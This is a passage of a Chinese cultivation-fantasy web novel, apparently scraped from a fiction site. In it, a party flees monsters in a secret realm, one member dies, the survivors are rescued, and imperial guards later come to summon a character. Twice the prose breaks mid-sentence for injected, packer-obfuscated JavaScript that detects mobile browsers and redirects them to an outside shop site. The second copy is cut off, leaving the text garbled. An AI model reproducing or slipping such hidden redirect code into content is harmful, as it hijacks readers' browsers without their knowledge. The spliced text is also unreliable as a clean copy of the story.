于九道:“不至于,我师侄跑了,我这不是得先紧着他么。” 张掖被怪物咬的浑身上下都是伤口,此时还心有余悸,道:“大人,我这是工伤啊。” 李如芝递给他一瓶金疮药,道:“别哭了,多大点事儿,不就被老鼠咬一口么。” 张掖道:“那不是普通耗子啊,一般的耗子有这么吓人吗!” 刘正阳方才惊慌之中爬到一棵大树上去了,此时抱着树干滑了下来,道:“那你是没见过南方的耗子,还有蟑螂,跟这个有过之而无不及。” 刘正阳踩死了怪物,它们却逮着张掖狠狠咬了一顿。张掖十分恼火,瞪了他一眼。刘正阳道:“你瞪我干什么,又不是我让它们来的。” 张掖坐在一块大石头上,挽起裤腿,给自己敷上了药,道:“就是你惹的,跑的倒是最快。” 他腿上到处都是牙印,血斑斑驳驳的。刘正阳有点心虚,装没听见转过了身。远处传来了怪物的低吼,到处都是黑黢黢的一片,走了这一阵子也没捡到什么好东西。他弯腰拾起一根骨头,用手一捏就碎成灰尘了,地上一堆堆肉块散发着腐臭的气息,根本没人会收这种垃圾。他道:“这里没什么好东西,又到处都是妖怪,要不然还是回去算了。” 众人都看向了李如芝,觉得还是性命要紧。李如芝有些不甘心,这里要是没有好东西,昨天夜里那两个人鬼鬼祟祟地来干什么? 他拍了拍身上的土,道:“再往前走一走,回去要向陛下汇报,得看明白了再说。” 张掖被咬的浑身上下都疼,谁知道前头还有什么妖怪。他道:“大人,我真的走不动了。咱们就这几个人,不能逞强啊。” 李如芝还没回答,忽然听见风声呼呼作响,一片巨大的阴云笼罩了头顶。他们抬起头,看清了头顶的东 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14323805|138533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 西的瞬间,脸色都变了。 那是一只巨大的鸟形怪物,翅膀像蝙蝠一样,身上垂下了许多细小的须子,随着翅膀的拍动,在风里不住摆荡。 “我的天,那是什么东西?”刘正阳仰头看着它,愕然道。 “谁知道是什么东西,看着就恶心。”张掖皱起了眉头。 这家伙张开翅膀有一丈长,飞起来像刮旋风似的,爪子锐利的像刀一样,一看就不好对付。于九躲在了一片树丛下面,一把按住了刘正阳的头,低声道:“俯身,别惊动它。” 刘正阳还是一副什么都不放在眼里的态度,道:“就是只鸟而已,怕什么?” 张掖道:“不怕你出去跟它打啊。” 刘正阳道:“你怎么不去?” 他那张破嘴一直爱吹牛,打起来又怂的要命,就会给身边的人拉仇恨。张掖恨不能一脚蹬在他屁股上,奈何于九一直罩着他。 那只巨鸟一直在他们头顶盘旋,李如芝寻思着这地方确实危机四伏,就他们几个人看来是没办法再往前走了。他低声道:“算了,撤吧。” 其他几人松了口气,如蒙大赦地回了头,蹑手蹑脚地准备往回走。这时候就听一声锐利的啼鸣,那只巨鸟发现了他们,一拍翅膀朝这边俯冲过来。 众人吓了一跳,当即一哄而散。巨鸟伸出锐利的爪子,一把抓住了张掖的背,登时把他的皮肉撕破了。张掖疼得惨叫一声,摔在了地上,那只鸟飞扑过来啄食他背上的肉。张掖连滚带爬地向前逃去,一边哭叫道:“救命,救命——” 于九头上渗出了冷汗,明白过来这只鸟为什么徘徊不去了。它嗅到了他们身上的血腥味,就是奔着他们来的。那只巨鸟伸出尖锐的爪子,揪住了张掖的后背,身上无数细小的肉须子扎进了他的身体。那些须子都是中空的,扎进肉里就像蚂蟥一样饱涨起来,开始疯狂吸血。 张掖疼得惨叫不已,恐惧的不得了。他扭着身子,伸手想把那只怪鸟扯下来,可那只鸟的力气比他大多了,非但没被他拽下来,反而拍着翅膀要把他拖到天上去。 李如芝没见过这情形,一时间也被慑住了。眼看这妖物要把人拖到巢穴里,慢慢吸干血再吃肉。刘正阳终于意识到这家伙有多吓人,悄然往后退去。 那几个人都靠不住,于九只得冲了上去。他重重一剑斩下去,砍伤了那只鸟的翅膀。巨鸟疼得嘶鸣了一声,终于放开了张掖。于九又是一剑砍过去,它腾空而起躲过了那一击,身上滴着血,歪歪斜斜地向远处飞走了。 张掖死里逃生,浑身都脱力了,半边身体摔在了旁边的沼泽里,骇得良久都动弹不得。刘正阳见他还没死,连忙过去卖好。他把张掖拽了出来,道:“没事吧,老兄,你今天可真够倒霉的。” 张掖摔的满头都是血,浑身骨头架子都快散了,嘴唇直哆嗦。到处都是不可名状的怪物,他整个人都恍惚了,道:“我得走,我不想死……你们不怕死就留在这里……这里是地狱!” 他爬起来,跌跌撞撞地往回走。前头浓雾弥漫,周围晦暗不明,他一头撞在了一堵墙上。那堵墙高大、厚实,还有些弹性。 张掖心中生出了不好的预感,缓缓抬起头。就见一座褐色的肉山堆积在自己面前,身上无数只带着血丝的眼睛从肉褶子里冒出来,咕噜噜地转动着,看着他。 “呜——吼——” 方才他们听见的怪物的叫声跟这一模一样,它缓缓张开了大嘴,发出了低沉的吼声。张掖腿一软,一屁股坐在了地上,感觉自己是活不过今天了。 那座肉山生着有力的腹足,身体虽然沉重,移动的却不慢。它也嗅到了他们身上的血腥气,身上几百个眼睛都放出了兴奋的光,肉褶子里的触手也伸了出来,仿佛在考虑从哪里下口比较好。 李如芝的脸都白了,道:“这是什么?” 刘正阳也十分恐惧,随即发现眼前的情况还不是最可怕的。在那头肉山的身后,又缓缓地爬过来一头蜈蚣一般的怪物,上百只脚密密麻麻的,身上还长满了钢针一样的毛发。周围的丛林窸窸窣窣直响,似乎有什么东西接二连三地涌了过来。 天上、地下,草丛里,一双双放着精光的眼睛注视着他们,都是闻着味儿来的怪物。他们身上的血腥气没有东西掩盖,已经传出去了。看似平静的秘境变成了危机四伏的地狱,几人身后都渗出了冷汗,刘正阳往后退了一步,颤声道:“小师叔,怎么办啊。” 于九冷冷道:“还能怎么办,快跑!” 他一把拉起刘正阳,撒腿就跑。李如芝也紧跟着逃了,张掖浑身都是伤,被他们抛在了后面。他一路哭喊:“别扔下我,你们等等我啊——” 刘正阳头也不敢回,只顾着自己逃命。那些怪物很快追了上来,用触手缠住了张掖,把他向后拖去。张掖接连呼救了几声,撕心裂肺的声音戛然而止,怕是连一块完整的肉都剩不下了。大家朝夕相处了这么久,队友死了,于九心里也有些不好受,但自己尽力救过他了,实在没办法。 另外一些怪物没分到肉,又朝于九他们追了过来。巨大的触手穿过草丛,窸窸窣窣地伸过来。刘正阳冷不防被绊了个跟头,被触手卷了起来,举到了半空中。他被勒的动弹不得,放声惨叫道:“小师叔,救我!快救我啊!” 于九拔剑向那头怪物砍去,剑光过处,它的腕足被砍了下来。刘正阳摔在地上,回头见李如芝已经跑远了。他气得脸都青了,道:“那个不讲义气的!” 李司正喊道:“你们撑一下,我去叫人——” 要不是他非得进这破地方,也不会遇上这样的危险。刘正阳怒道:“你一个光杆司令,能叫什么人来!” 怪物从四面八方围了过来,于九跟刘正阳背对着背,看着周围的怪物。于九握紧了手中的长剑,浑身都是血。于九沉声道:“有机会你就跑,小师叔拖不了太久,能不能活看你运气了。” 刘正阳心里一瞬间竟然有些难过,道:“小师叔,我……我让我爹给你加钱。” 于九神色冷冷的,道:“连骨头都快捡不着了,我要那么多钱干什么,留着买金丝楠木的棺材么?” 刘正阳知道自己打架顶不上,能跑得了就是帮大忙了。他低声道:“我不会给你拖后腿的,我一定能跑出去。你不是会水遁吗,我跑我的,你跑你的。” 于九觉得这是他今天说的第一句像样点的话,道:“行,护好你自己!” 一只秃鹫般的怪物扑了过来,他提剑砍过去。旁边的肉山伸出了触手,长长的须子像鞭子一样抽在刘正阳身上。他向后退去,又被一只野狗大小的怪物咬住了腿。性命关头他也急了眼,用尽了全身力气抡起拳头,狠狠地打在了那只怪物的头上。 怪物的脑袋砰的一声陷下去,眼睛从眼眶里凸出来,像一团烂泥一样瘫在地上。刘正阳一脚把它踢开,拼尽全力向前跑去。 于九在后面拦着那些怪物,为他争取了片刻时间。刘正阳穿过了漂浮着符咒的安全区,转身吼道:“我出来了,你快水遁!” 他离那边太远了,也不知道于九听见了没有,万一他被缠住了没法脱身怎么办?刘正阳心中着急,又不敢回去,索性一头钻出了秘境。 他心中只有一个念头,去找别人来帮忙——不管谁都好,必须把小师叔救出来! 114.秘境 四 刘正阳一头栽在草地上,顾不上疼,连忙向白云观冲了过去。 一群小孩儿在院子里待着,扭着头都有些错愕。刚才他们在院子里练功,就见一个中年男人跌跌撞撞地跑了进来。这一会儿功夫又来了一个,还披头散发的浑身是血,脸上沾满了草茎和泥巴,比刚才那个人还狼狈。 刘正阳喘着气道:“段星河呢?” 晓风也不知道这人是不是个疯子,反正师父都能对付得了。他指了一下,道:“师父在后边屋里。” 刘正阳拔腿就往那边冲过去。段星河方才在房里歇着,步云邪过来给他送宁心丹,刚坐了片刻,就见李如芝闯了进来。两人都觉得极其费解,就像看到了一头大象忽然出现在他们面前一样离谱,无论如何也想不明白,这人是怎么会出现在这里的。 李如芝语无伦次道:“快,快去救人——妖怪,秘境!” 步云邪皱眉道:“李大人,你怎么来的?” 李如芝一把拉起了段星河,道:“来不及了,快点,去救人,于九他们要死了!” 段星河意识到情况危急,要不然他也不会来求自己。看这样子他们好像是被困在秘境里了,于九一向对他们不错,这事不能不管。 他抓起了幽冥剑,跟着李如芝跑了出去。刘正阳慌慌张张地迎面而来,灰头土脸的,一个个跟大变活人似的。段星河诧异地看着他,道:“你也在?” 刘正阳眼泪唰地一下子就下来了,道:“快去救我小师叔,他被困住了!” 步云邪道:“我也去。” 六幺从练武场回来,看着他们几个急匆匆的模样,道:“怎么了?” 进那个秘境必须有清净石,要不然就会被妖物包围。正好几个小孩儿在附近看热闹,段星河一把扯断了明月脖子上戴着的小葫芦,塞给六幺道:“有人被困住了,跟我来一趟!” 三人和李如芝、刘正阳一起来到道观后面,进了那个秘境。六幺还是头一次来,整个人都是懵的。他道:“怎么回事,妖气好重。” 刘正阳道:“小师叔就在前面,我带你们去——” 段星河怕他身上的生人味儿吸引更多的妖物,道:“你们俩没有清净石,就在外围等着吧。” 他说着纵身一跃,向前奔去。步云邪和六幺跟了上去,三个人寻找了一阵子,忽然听见前头风声呼呼作响,一只生着三只眼的秃鹫从天上扑了下来。段星河闪身躲过了,反手一剑把它砍的开膛破肚。 没有他的本事,进这种地方根本就是自寻死路。前头的地上有几块新鲜的碎肉,血迹还没干透,残破的布料上绣着钦天监的纹样。六幺皱起了眉头,道:“是于九么?” 段星河道:“他平时不爱穿钦天监的制服,肯定不是他。” 步云邪发现了异样,用脚从旁边的污泥中拨弄出一块乌木腰牌来,上头刻着的名字是张掖。他道:“是管着采石场的那人。” 段星河露出了厌恶的表情,自己当初被抓到采石场,就是在这个混蛋手下吃尽了苦头。看此地的狼藉,张掖死的极惨,幸亏刘正阳他们跑得快,要不然此时也变成这样了。 周围有打斗的痕迹,怪兽爬行的痕迹,而人的脚步向后退了几步就凭空消失了。段星河想起了于九擅长水遁,寻思着他应该是逃到别处去了。怪物找不到人,便渐渐散去了,秘境里又恢复了静悄悄的模样,就像一潭死水。 段星河低声喊道:“于兄,于九——你在哪儿?” 他怕惊动了怪物,不敢高声。这时候就听远处隐约有人道:“这儿——快来救命!” 众人登时一喜,循声找了过去。就见于九泡在沼泽里,张开双手试图让自己下沉的慢一点,但泥浆已经泡到他的腰了。 于九见了他们,激动的不得了,道:“好兄弟,快救我!” 段星河一跃而起,撅下了一根树枝,朝那边伸了过去。于九一把攥住了,泥浆又黏又沉,段星河缓缓地把他拖过来。于九扒住了岸边,一个翻身躺在了结结实实的地上,一时间还不敢动。他喘了好久的气,仿佛不敢相信自己还活着,哑声道:“多亏你们来救我。” 段星河道:“你怎么会在沼泽里的?” 于九一副倒霉的模样,道:“别人都跑了,我在后头拖着,看差不多了想要水遁。结果这附近的水都是沼泽,直接给我吸到里头去了,差点把老子淹死。我哪知道这破地方连一点能用的水都没有啊!” 他的水遁要借用附近清净的水源,无法凭空使用,这里却只有要人命的泥潭。于九啧了一声,坐起来道:“今天出门没看黄历,倒了血霉了。” 他身上都是泥巴,方才跟怪物打斗,又浑身都是血。他在沼泽旁边歇了片刻,缓过劲儿来了,道:“兄弟,你拿棍子捞捞。我刚才踩着里头有东西,好像有点不寻常。” 段星河拿树枝捅了捅泥潭,泥浆微微动荡,里头果然有一点银色的微光闪烁。步云邪道:“诶,在那边。” 段星河也看见了,用树枝勾了出来,是一个双肩镶着银色金属兽头的皮铠甲,胸前有一块护心镜,下头连着护裙,整体散发着淡淡的灵光。此物不知在泥巴里泡了多久,居然一点都没有损坏。他擦了擦上面的泥水,发现皮质还挺厚实的。 这里应该不止有他们来过,这护甲说不定就是其他不幸沉在沼泽里的修真者的遗物。上面积攒了不少污物,看不出来有没有用。六幺道:“带回去让县主看看,她能鉴定这些东西。” 他甩了甩上面的泥水,把盔甲卷起来夹在了胳膊底下。于九道:“刘正阳他们呢?” 段星河道:“他们没事,在外围等着呢。此地不宜久留,咱们走吧。” 于九的腿在打斗中受了伤,勉强走了两步,疼的脸的扭曲了。段星河叹了口气,道:“来吧,我扶你。” 他架起了于九的胳膊,于九还有点不好意思,道:“不用,我没事……哎呦。” 这些人比李如芝他们靠得住多了,要是有的选,于九早就不想管钦天监那帮人了。奈何自己当初一拍脑袋加入了天心观,成了老刘家的人,虽然知道自己保的是个扶不起的阿斗,也没什么办法。 “他奶奶的……等从这里回去,老子就从天心观退出来。我去他的小师叔,谁爱当谁当!”于九疼得龇牙咧嘴,心里窝了一肚子火,忍不住要骂人。 段星河一扬嘴角,道:“那来我们这儿么?” 于九悻悻道:“算了吧,我就适合当个散人。以后到处流浪,四海为家,就是穷死饿死也不帮人照看二世祖了。” 几人说着话往回走去,步云邪忽然感觉周围有种让人很不舒服的感觉,有什么东西悄然靠近了他们。其他人也有所觉察,回过头去,就见一个小山一般的阴影从密林深处缓缓浮现出来。 那怪物极其巨大,黑色的皮肤上泛着一层五光十色的油膜,身上的邪气冲天而起,之前那些小妖根本跟它无法相比。这恐怕就是这个秘境中最大的妖物,聚合了所有混沌的意识,代表着极大的恐惧。 众人只是看了它一眼,浑身便寒毛直竖,根本无法形容它给人的感觉。方才这边的战斗惊动了它,这大妖找了许久,终于循着血腥味找过来了。它俯视着这些入侵者,缓缓地伸出了身上的触手,动作极轻、极缓,仿佛只想小心地摸一摸他们。 六幺一手按在剑上,低声道:“打么?” 这玩意光看着就给人造成强烈的精神污染,让人难以直视,无法忍耐,根本没办法跟它多耗。段星河道:“不好惹,撤。” 他说着弯腰背起了于九,那怪物已经将粗壮的触手伸了过来,上面满是蠕动的吸盘,散发着臭不可闻的气息。六幺一剑砍断了那条触手,又是一剑砍断了从旁边伸过来的两条触手。断掉的触手疯狂蠕动着,怪物疼得放声嚎叫,周身的触手胡乱拍打着地面,把大地砸得裂开了一道大口子。 于九愕然道:“这玩意儿多大的力气啊……” 不管它有多大的力气,他们都不打算跟它纠缠了。步云邪手中金光闪烁,倏然展开了金光咒,暂时封住了怪兽面前的道路,喊道:“快跑!” 几个人拔腿就往回跑,那只怪物吼叫着用触手撕扯,用头猛撞,片刻撞碎了金光屏障,蠕动着腹足发疯一般地追了上来。 “哐、哐、哐哐哐哐、哐哐哐哐哐哐哐——” 身后像地震一样,那座肉山看起来笨重,跑起来居然还挺快的,而且还有越跑越快的趋势。它身上的须子稀里哗啦地跟着摆动,那情形要多惊悚有多惊悚。于九慌乱中回头看了一眼,感觉这辈子做的噩梦加起来都没有这情形吓人,简直突破人的想象。 大地不住摇撼,段星河感觉内脏都被震得嗡嗡地疼。他身上还背着于九,有点吃力,幸亏安全区就在前面了。他加快脚步冲了过去,周围都是符咒连接起来的金光锁链,他松了口气,一个踉跄倒在了地上。 于九跟他一起摔倒在地,都大口喘着气。李如芝和刘正阳等在这里,方才就听见前头砰砰砰一阵地动山摇,还在犹豫要不要赶紧逃跑。正迟疑的时候,就见那几个人像箭一样冲出来了。 步云邪和六幺也冲进了符咒区,李如芝一路受于九保护,对他还是有点感情的,道:“于兄,你没事吧?” 刘正阳更是激动道:“小师叔,太好了,我就知道你命大!” 于九浑身都是泥巴,脸脏的快看不出鼻子眼睛在哪儿了,道:“没事……咳,差点就死了……” 那头怪物被拦在安全区外,死活过不来,气得放声大吼。刘正阳受尽了这些怪物的气,此时觉得自己又行了,朝那边竖起了小拇指,大声道:“你过来啊!” 那怪物的眼睛赤红,露出了强烈的杀意。步云邪一瞬间感到不妥,道:“别招它,赶紧走。” 他话音未落,那怪物骤然伸出了几根触手,笔直地朝他们刺了过来。段星河眼疾手快,一把拽过了步云邪,打了个滚躲避开来。 于九常年练武,反应也很迅速,霎时间躲开了那一击。李如芝却没那么好的运气,他反应过来时,胸口一阵强烈的疼痛,身体已经被触手洞穿了。 他惨叫一声,鲜血淋淋漓漓地淌下来。那怪物的触手被金色的符咒烧伤了,皮肉散发出焦糊味,在半空中胡乱挥动。李如芝被甩飞出去,随即重重地落在了地上,接连吐了几口血。他进这个秘境之前,无论如何也没想到会遇到这样的危险。刘正阳吓得面无人色,站在一旁不知如何是好。 众人没想到这怪物宁可冒着被烧伤的危险,也要把他们抓过去,登时出了一头冷汗。 不仅如此,它看得见却抓不到,越发疯狂起来,开始没命地冲撞前头的符咒。符咒之间的金光锁链被震的不住动荡,发出了嗡嗡的声音。周围的一切开始摇撼,符咒剧烈地震颤着,空间开始扭曲起来。 刘正阳慌张道:“怎么回事!” 符咒感到了妖物的冲击,在它突破制约之前,要彻底关闭这个空间。步云邪道:“这个秘境要自毁了,快出去!” 他拉着段星河,当先冲出了秘境。六幺扛着于九也一跃而出。周围的一切颠倒错乱,妖物的吼声震耳欲聋,空间入口渐渐在眼前缩小。要是被关在这里头,可就要与这些怪物永远在一起了。 刘正阳发疯地拖拽李如芝,道:“快点,快——” 李如芝挣扎着爬到了入口边缘,一个倒栽葱从半空中落下去。刘正阳随即摔了下来,轰的一声,秘境彻底坍缩了。 瀚海大师和宋胡缨在外面等了一阵子,急的要命。两人正想进去看看,就见他们像下饺子一样,稀里哗啦地摔了一地。 段星河伸手摸了摸,感觉腰摔得不轻。步云邪垫在他身上,倒是没什么事。他捡起一块小石头,朝半空中扔了过去。小石子划了一道弧线,噼里啪啦地摔下来,那个空间已经不存在了。 “这回真没了。”步云邪松了口气,“也算件好事,起码不用担心孩子们会乱跑钻进去了。” 不愧是当了师父的人,都这么危险了,先想到的还是孩子。 “没事吧。”瀚海大师弯腰把段星河拉了起来,见他身上没受伤,松了口气。 其他人都没什么大问题,只有李如芝躺在地上,胸口被怪物洞穿了个大口子,嘴角不住往外涌着血沫。这人从钦天监出来之后就一直跟着他们,像跗骨之疽一样,甩都甩不下来。这次要不是他们偷偷跟来捣乱,也不至于变成这样。 段星河对他早就受够了,实在希望老天能把他收了。可这人的命还挺大,看起来一时半会儿还死不了的样子。 于九一瘸一拐的,六幺胳膊底下夹着那卷脏兮兮的铠甲,上前扶住了他。刘正阳想把李如芝扛起来,一个人又使不上劲儿。他抬起头,无助地看着周围。这些人都跟他们不对付,刘正阳也不知道能不能跟他们借个地方养伤,只能硬着头皮沾小师叔的光了。 宋胡缨看了一眼李如芝,冷冷道:“这人缺德的很,别管他了吧。” “见死不救,有违医道。”步云邪背过了身,又道,“不过我要是没看见,那就不算不管。” 他迈步就走,仿佛打算就这么把他们扔在这里了。刘正阳十分诧异,没想到他们真能狠的下这个心。他急道:“他可是钦天监的五品司正,他若是死了,你们怎么跟皇帝交待!” 众人在这里日子过的好得很,连大幽的皇帝是谁都快忘了,谁在乎他一个司正的死活。 刘正阳好不容易把李如芝从秘境里拖出来,不能眼看他就这么死了。他道:“小师叔,你说句话啊。” 方才要不是他们奔出来求救,于九此刻已经没命了。于九咳嗽了一声,道:“段兄,看在我薄面上,救他一命吧。” 李如芝的意识还没完全消失,身体疼得不住抽搐,喃喃道:“求求你们……救我。” 瀚海大师毕竟是出家人,慈悲为怀,道:“算了,帮帮他吧。” 段星河没阻止,瀚海大师便弯下腰,把李如芝扛了起来。 众人回到白云观,在客房安置下了伤员。于九腿上有点外伤,步云邪给他敷了药,静养几天就行了。李如芝看起来伤口挺深的,但重要的脏器没受伤,也算是不幸中的万幸了。 步云邪让李玉真帮忙熬了麻沸散,把他的伤口缝合起来,包上了绷带。刘正阳在外头等了许久,步云邪这才从屋里出来。他接连治疗了两个人,有些疲惫。刘正阳还挺不满,道:“怎么这么慢?” 步云邪冷冷道:“机会难得,多缝他两针呗。” 刘正阳一时间不知道他是真这么干了还是故意怼自己,步云邪已经转身走了,段星河在走廊的另外一边等着他。刘正阳往前跟了一步,道:“喂,他俩怎么样啊?” 步云邪停下来道:“都没大事,每天早晚去厨房领一碗药,休养一段时间就好了。” 屋里传来李如芝的咳嗽声,他已经醒过来了。刘正阳进了屋,空气里弥漫着药味和没散尽的血腥气。于九躺在外间,李如芝躺在里间。刘正阳道:“小师叔,你腿疼么?” 于九的腿上包着厚厚的绷带,大大咧咧道:“骨头没事,就是一点皮外伤。李司正可能有点不太行,今天他算是在鬼门关走了一遭,你多照应他点吧。方才要不是段星河他们来……” 刘正阳想起步云邪傲慢的神色,每次见到他,自己的面子都好像被按在地上摩擦一样。他皱眉道:“要不是为了跟着他们,咱们也不至于遇到这么多危险,张掖还死了,都是那几个扫把星害的。” 于九也不知道这人的脑子是怎么搭的线,人家就算不情愿,也是救了他们一命,怎么就又被恨上了。 他道:“你……唉,你老这样,日子还能过得下去吗?” 刘正阳就是讨厌步云邪,领了他的情就更讨厌他了。李如芝在隔间里咳嗽,哑声道:“有水吗?” 刘正阳连忙倒了一杯水,端进屋里去了。李如芝伤口疼得厉害,没法坐起来喝水,只能仰起头来沾一沾嘴唇。他道:“我怎么样?” 刘正阳道:“他们说没事,歇几天就好了。” 李如芝的脸色苍白,沉默着没说话,眼神却阴沉沉的。刚才自己拼命哀求他们,段星河才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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其他人也没什么意见,段星河便把战甲拿了起来。这玩意儿有些沉重,平时跟人打架没必要穿,不过既然这么宝贵就先收着好了。太阳渐渐西斜了,六幺悠然道:“晚上吃什么?” 李玉真道:“大海和结香中午拌了馅子,晚上应该包饺子吧。” 伏顺兴奋道:“今天过什么节,居然包饺子?” 李玉真道:“不过节也能吃好的啊,只要开心就行了。” 众人仿佛闻见了饺子热腾腾的气味,都按捺不住了。段星河道:“去吃饭吧。” 一群人便三三两两往厨房走去。赵大海煮的饺子刚出锅,见瀚海大师来了,道:“来得正好,第一锅白菜粉条的素饺子,一点油荤都没放,你和莫嗔先吃。” 瀚海大师微微一笑,道:“多谢。” 他提了一个食盒往回走去,其他人过来了,围在厨房门口道:“大海,饭好了没?” 屋里冒着热腾腾的蒸汽,赵大海道:“快了,你们等一会儿。” 他们现在有家了,厨房里屯满了米面油和新鲜的蔬菜,想吃什么就有什么,赵大海每天都忙忙活活的,比从前高兴多了。灶台上两个大锅,一个水快烧开了,另一个刚开始烧。雪白的饺子整整齐齐地排在圆篦子上,好几个篦子摆满了桌子,看着就丰盛。结香还没包完,把馅儿填进皮里,两下捏好一个饺子,动作很利索。 宋胡缨道:“要包这么多吗,吃不了吧?” 赵大海道:“多调了点馅子,给那几个养病的煮一锅吧。” 六幺靠在门外听见了,双手抱臂抬眼看天,冷冷道:“你们就是心眼儿太好,你知道他们是怎么想的?” 赵大海憨憨地说:“咱们救了他们,他们以后不会再找咱们麻烦了吧?” 六幺蔑然一勾嘴角,道:“那种人没良心的,说不定还会倒打一耙恨咱们呢。” 宋胡缨道:“就是,就不该管他们。” 好几锅饺子还得再煮一阵子,其他人都堆在门口。段星河便去了远一点的地方,想等他们都领完了再领。步云邪闲来无事,站在他身边,两人在紫藤架子旁边吹着晚风,感觉很惬意。 刘正阳去厨房时,一锅饺子刚下出来。赵大海盛了三大碗放在食盒里,让他拿着先走。其他人不愿意跟这讨厌鬼一起排队,索性让他先拿。刘正阳感觉六幺他们对自己都冷冷的,那种感觉如同芒刺在背。但人家没说什么,他也只能装没事人,提着食盒往回走去。 他经过院子,见步云邪站在紫藤花架子下面,绿叶重重叠叠的。他伸手摘下一个毛茸茸的小豆荚,随手把玩着。 段星河低头跟他说了几句话,不知道聊的什么,两个人都笑了。 步云邪穿着一身白衣,棉纱的衣袍宽松轻柔,窄袖的袖口垂到臂弯,颇为闲适自在。他的性格有些冷淡,跟信任的人在一起时却很温柔。他笑起来格外好看,就像春风吹动湖水,荡起一圈圈涟漪,让人难以忘却。 刘正阳怔怔地看了片刻,一时间竟忘了自己身在何处。他跟步云邪也算是自幼相识,却是从小打到大。他不想承认自己很在意他,却又无法不在意他。 段星河瞥见了那边的人,用眼神示意了一下。步云邪看到了他,好心情顿时消失了,道:“他怎么来了,又想干什么?” 段星河扬起了嘴角,道:“没事,我去吓唬吓唬他。” 刘正阳偷看被他俩发现了,有点尴尬。他以为段星河会不理自己,没想到他径自朝这边走了过来。段星河道:“最近怎么样了?” 刘正阳敷衍道:“小师叔的伤口已经长上了,李司正也已经能下地走了,多谢你们。” “不必客气,”段星河淡淡道,“我们账房司空先生让我给你带个话,医药费一百两,住一天每人五钱银子,你陪床就不算钱了。饭钱一天三钱银子,有空记得结一下。” 刘正阳:“……” 段星河看他一脸诧异的模样,道:“怎么了,你该不会以为我们是不收钱的吧?” 刘正阳如今一贫如洗,哪有钱给他。他道:“不是,段兄,咱们在家也是兄弟门派的人,凭咱们这个交情……” 段星河无情地打断道:“凭咱们这个交情,我不给你算双倍就不错了。超过一个月还要加一成滞纳金,记得别拖太久啊。” 他说完转身走了,刘正阳提着食盒,感到了沉重的压力。本来还想着人在屋檐下,暂且低几天头。却没想到还没熬到给他们颜色瞧,先被他们讹上了。 隔天下午,段星河打完坐,正想出去走一走。步云邪从外头过来了,身上还背着个药箱,进门就道:“星哥,那三个人不见了。” 段星河一诧,道:“人不见了,东西呢?” 步云邪道:“他们随身带的兵刃也没了,还顺了咱们几瓶金疮药。我刚才去给他们换药,见门开着,进去就见里头都空了。” 段星河出了门,往客房那边去了。两人推门进去,屋里空荡荡的,也没留个纸条。段星河道:“不是吧,不想还钱,就这么偷偷跑路了?” 步云邪也有点哭笑不得,本来也没指望他们给医药费,就是吓吓他们而已。那几个人还当真了,看来是寻思了一宿,趁着没人注意偷跑了。段星河道:“反正他们的伤也好得差不多了,走了也好,省得看着心烦。” 步云邪坐在屋里,想着刘正阳他们还不上钱苦恼的模样,忍不住笑了。段星河想到他们昨天夜里躺在床上辗转难眠的样子,也笑出声来。吵了这么多年架,还不如一张账单管用。这可能是自打认识以来,头一次正经让他们吃瘪。 平静地过了一个月,夏天渐渐到了尾声。段星河有空就教教徒弟,其他时间打坐练功,都要把之前的事抛到脑后了。这天刚过了中午,忽然听见外头哐哐一阵拍门。 对方用的力气挺大,显然很不客气。伏顺打着呵欠去开门,一边道:“这么使劲干什么,听见了,小点声——” 他打开门,就见一群身穿黑色劲装的人站在门前,各自牵着马,浑身带着风霜之色。一个头领模样的人出示了腰牌,道:“大幽御前侍卫副统领,周绛。” 黑压压的一群人堵在门前,大约有五十来个,每个人都挎着刀。伏顺看着他们,一时间说不出话来,不知道他们怎么会不远万里地找到这山旮旯里来。 他道:“是大幽的人啊,你们来干什么?” 那侍卫统领面沉似水,道:“我奉陛下之命,前来传召步司业。” 115.镇魔司 一 伏顺不知道他们找步云邪有什么事,但感觉来者不善。他含糊道:“你们等一等,我先问问有没有这个人再说吧。” 他哐地把门一关,拔腿就去找大师兄。段星河刚睡醒,就见伏顺一个猛子扎了进来。他慌张道:“哥,外头有人来了,是大幽的侍卫,要见二师兄。” 段星河有点懵,道:“什么侍卫,见阿云干什么?” 伏顺挠了挠头,道:“就是好多侍卫,应该是大幽的皇帝派过来的,在门口堵着呢。让不让进啊?” 段星河的脑子转的极快,寻思着应该是李司正他们回了大幽,跟皇帝说了这边的事,唆使上边派人来拿他们了。自从离开了大幽,他们就没怎么把钦天监的事放在心上,步云邪也没交过几回金丹。皇帝望眼欲穿地等了这么久,却一点回音都没有,应该被他们气得七窍生烟了。再加上李司正添油加醋,这次这些人应该是来找他们算账的。 段星河沉默下来,觉得事情有点不好办。经历过采石场的事之后,他对大幽的皇帝一直没什么好感,不想为那老头儿做任何事。 他没想好怎么应对,但自己这边的人修为不错,不怕他们动手。他道:“让他们进来吧,先以礼相待,看他们什么意思再说。” 伏顺答应了,去前头开了门,道:“请跟我来吧。” 侍卫们进了白云观,赵大海带着他们去栓了马。伏顺带着周绛进了花厅落座,其他人站在门外,顶着烈日也不嫌晒,一副大有要把步云邪等出来的架势。 段星河去丹房跟步云邪说了此事,两人四目相对,一时间都没什么主意。 步云邪悻悻道:“肯定是李如芝回去告的状,把咱们住哪儿都跟皇帝说了。那个白眼狼,亏咱们还救了他一命呢!” 段星河早知道他们是这个德行,也没抱多大希望。他道:“不反咬一口就不是他们了。先别计较那些事了,你想回去么?” 步云邪已经很久没交丹药了,怠慢皇命,回去指不定要被怎么骂呢。他道:“我早就不打算回去了,在这儿过得挺好的。” 段星河道:“人都在前头等着呢,拿了圣旨来,点名要见你。” 步云邪低声道:“那我也不去,你想啊?” “当然不想,”段星河道,“就是怕他们对白云观不利,毕竟孩子们都在这儿呢。” 